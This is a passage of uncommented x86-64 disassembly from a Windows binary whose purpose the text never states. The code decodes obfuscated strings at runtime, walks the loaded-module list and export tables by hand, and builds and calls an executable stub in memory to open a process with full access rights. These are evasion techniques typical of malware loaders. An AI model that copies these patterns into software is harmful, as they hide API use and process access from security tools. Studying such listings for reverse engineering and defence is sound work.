movsx eax, byte [rbp + 0x178]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x178]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x179], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140031bd8
xor eax, eax
mov byte [rbp + 0x182], al
mov rax, qword gs:[0x60]
test rax, rax
je 0x140032a5b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x140031ce8
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140031cba
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140031d44
mov rax, rcx
lea r9, [rbp + 0x179]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140031d3d
add rax, r11
test edx, edx
jne 0x140031d28
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor eax, eax
test dil, dil
jne 0x140032242
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x140031c71
xor eax, eax
mov edi, 1
mov qword [rbp + 0xd10], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov word [rbp + 0x7f8], 0xe44e
mov byte [rbp + 0x7fa], r13b
mov r9, r13
mov r8d, 2
mov dl, 0x43
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x7fb], al
mov r9, r13
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x7fc], al
mov r9, r13
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x7fd], al
mov r9, r13
mov r8d, 5
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x7fe], al
mov r9, r13
mov r8d, 6
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x7ff], al
mov r9, r13
mov r8d, 7
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x800], al
mov r9, r13
mov r8d, 8
mov dl, 0x54
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x801], al
mov r9, r13
mov r8d, 9
mov dl, 0x68
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x802], al
mov r9, r13
mov r8d, 0xa
mov dl, WSAStartup
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x803], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x804], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x805], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x64
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x806], al
mov r9, r13
mov r8d, select
mov dl, 0x45
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x807], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x78
lea rcx, [rbp + 0x7f8]
call fcn.140035d70
mov byte [rbp + 0x808], al
xor eax, eax
mov byte [rbp + 0x809], al
mov r8d, eax
mov r9, r13
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x7f8]
add eax, edi
movsxd rdi, eax
lea rax, [r8 + 0x10]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7f8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7f9], dil
mov edi, 1
add r8, rdi
add r9, r13
cmp r9, 0x110
jb 0x140031f40
xor edi, edi
mov byte [rbp + 0x809], dil
mov word [rbp + 0x280], 0x3d28
mov byte [rbp + 0x282], 0xfd
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x283], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x284], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x285], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x286], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x287], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x288], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x280]
call fcn.140035cf8
mov byte [rbp + 0x289], al
xor eax, eax
mov byte [rbp + 0x28a], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x280]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x280]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x281], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x1400320af
xor edi, edi
mov byte [rbp + 0x28a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140032cd9
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x60], edi
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x1400321bc
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14003218e
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140032218
mov rax, rcx
lea r9, [rbp + 0x281]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140032211
add rax, r11
test edx, edx
jne 0x1400321fc
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140032a63
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
xor edi, edi
cmp rax, qword [rbp - 0x28]
je 0x140032cd9
jmp 0x140032149
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140031d6b
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x140031d6b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140031d69
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140031d69
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140031d69
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x651]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400322d2
inc rax
test edi, edi
jne 0x1400322bd
xor eax, eax
lea edi, [rax + 1]
test r8d, r8d
je 0x1400322ea
add rdx, rdi
cmp rdx, qword [rbp - 0x40]
jb 0x1400322ac
jmp 0x140031d70
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x140031d70
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
cmp eax, edi
jl 0x140032a54
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.140094c90
or dword [rbp + 0x3714], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2390]
call fcn.140036bc4
lea rcx, [rbp + 0x2390]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x2390]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x41490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x140032390
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x41490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe88], eax
lea r9, [rbp + 0xe88]
mov r8d, r15d
mov edx, r12d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x25]
lea r8, [0x1400e8338]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe88]
mov r8d, dword [rbp + 0xe88]
mov edx, r12d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
lea r12d, [rax + 0x15]
jns 0x140031d6b
mov word [rbp + 0x848], 0xc028
mov byte [rbp + 0x84a], 0xa9
mov r9, rbx
lea r8d, [rax + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x84b], al
mov r9, rbx
lea r8d, [r12 - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x84c], al
mov r9, rbx
lea r8d, [r12 - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x84d], al
mov r9, rbx
lea r8d, [r12 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x84e], al
mov r9, rbx
lea r8d, [r12 - 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x84f], al
mov r9, rbx
lea r8d, [r12 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x850], al
mov r9, rbx
lea r8d, [r12 - 0xd]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x851], al
mov r9, rbx
lea r8d, [r12 - 0xc]
mov dl, r15b
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x852], al
mov r9, rbx
lea r8d, [r12 - 0xb]
mov dl, 0x46
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x853], al
mov r9, rbx
lea r8d, [r12 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x854], al
mov r9, rbx
lea r8d, [r12 - 9]
mov dl, 0x69
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x855], al
mov r9, rbx
lea r8d, [r12 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x856], al
mov r9, rbx
lea r8d, [r12 - 7]
mov dl, 0x75
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x857], al
mov r9, rbx
lea r8d, [r12 - 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x858], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x848]
call fcn.140035de8
mov byte [rbp + 0x859], al
xor eax, eax
mov byte [rbp + 0x85a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r12 - 0x14]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x848]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x848]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x849], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003266c
xor r10d, r10d
mov byte [rbp + 0x85a], r10b
mov word [rbp + 0x978], 0x8419
mov byte [rbp + 0x97a], Ordinal_143
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 2]
mov dl, 0x69
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x97b], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x97c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x97d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x97e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r15b
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x97f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x980], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x981], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r15b
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x982], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x983], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x984], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x985], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x986], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x987], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x988], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x989], al
mov r9d, edi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98d], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x98f], al
mov r9d, edi
mov r8, r14
mov dl, r15b
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x990], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x991], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x992], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x34
lea rcx, [rbp + 0x978]
call fcn.140037254
mov byte [rbp + 0x993], al
xor eax, eax
mov byte [rbp + 0x994], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x978]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x978]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x979], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x1400329bb
mov byte [rbp + 0x994], r10b
xor r9d, r9d
lea r8, [rbp + 0x849]
lea rdx, [rbp + 0x979]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
xor eax, eax
jmp 0x140031d70
mov rdi, r10
jmp 0x140031d70
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140032cd9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032cd9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032cd9
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032cd9
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140032cd9
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7f9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140032af5
inc rax
test edi, edi
jne 0x140032ae0
xor edi, edi
test r8d, r8d
je 0x140032b0a
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x140032acf
jmp 0x140032cd9
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032cd9
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x140032cd9
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.140094c90
or dword [rbp + 0x4aa4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x3720]
call fcn.140036bc4
lea rcx, [rbp + 0x3720]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x3720]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x42490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140032bb0
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x42490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe84], eax
lea r9, [rbp + 0xe84]
mov r8d, r15d
mov edx, ebx
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd10]
call rdi
mov edi, eax
lea r9, [rbp + 0xe84]
mov r8d, dword [rbp + 0xe84]
mov edx, ebx
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
lea ebx, [rax + 0x11]
js 0x140034657
xor edi, edi
mov rax, qword [rbp + 0xd10]
mov qword [rbp - 0x60], rax
cmp rax, 0xffffffffffffffff
je 0x140034657
mov dword [rbp + 0xb68], 0xd4dca51
mov word [rbp + 0xb6c], 0xa82
mov byte [rbp + 0xb6e], 0x56
mov r9, r12
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb6f], al
mov r9, r12
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb70], al
mov r9, r12
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb71], al
mov r9, r12
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb72], al
mov r9, r12
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb73], al
mov r9, r12
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb74], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb75], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb76], al
mov r9, r12
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb77], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb78], al
mov r9, r12
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb79], al
mov r9, r12
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb7a], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb7b], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x63
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb7c], al
mov r9, r12
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb68]
call fcn.140035ed8
mov byte [rbp + 0xb7d], al
xor eax, eax
mov byte [rbp + 0xb7e], al
mov r8, rdi
mov r9, r12
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb68]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb68]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb69], dil
add r8, r10
add r9, r12
cmp r9, 0x1ce
jb 0x140032ece
xor eax, eax
mov byte [rbp + 0xb7e], al
mov dword [rbp + 0xbb8], 0xa7f07241
mov dword [rbp + 0xbbc], 0xba871c53
lea edi, [rax + 9]
mov r9d, edi
lea r8d, [rax + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xbb8]
call fcn.140035cf8
mov byte [rbp + 0xbc0], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0xbb8]
call fcn.140035cf8
mov byte [rbp + 0xbc1], al
xor eax, eax
mov byte [rbp + 0xbc2], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea r11d, [rdi - 8]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbb8]
add eax, r11d
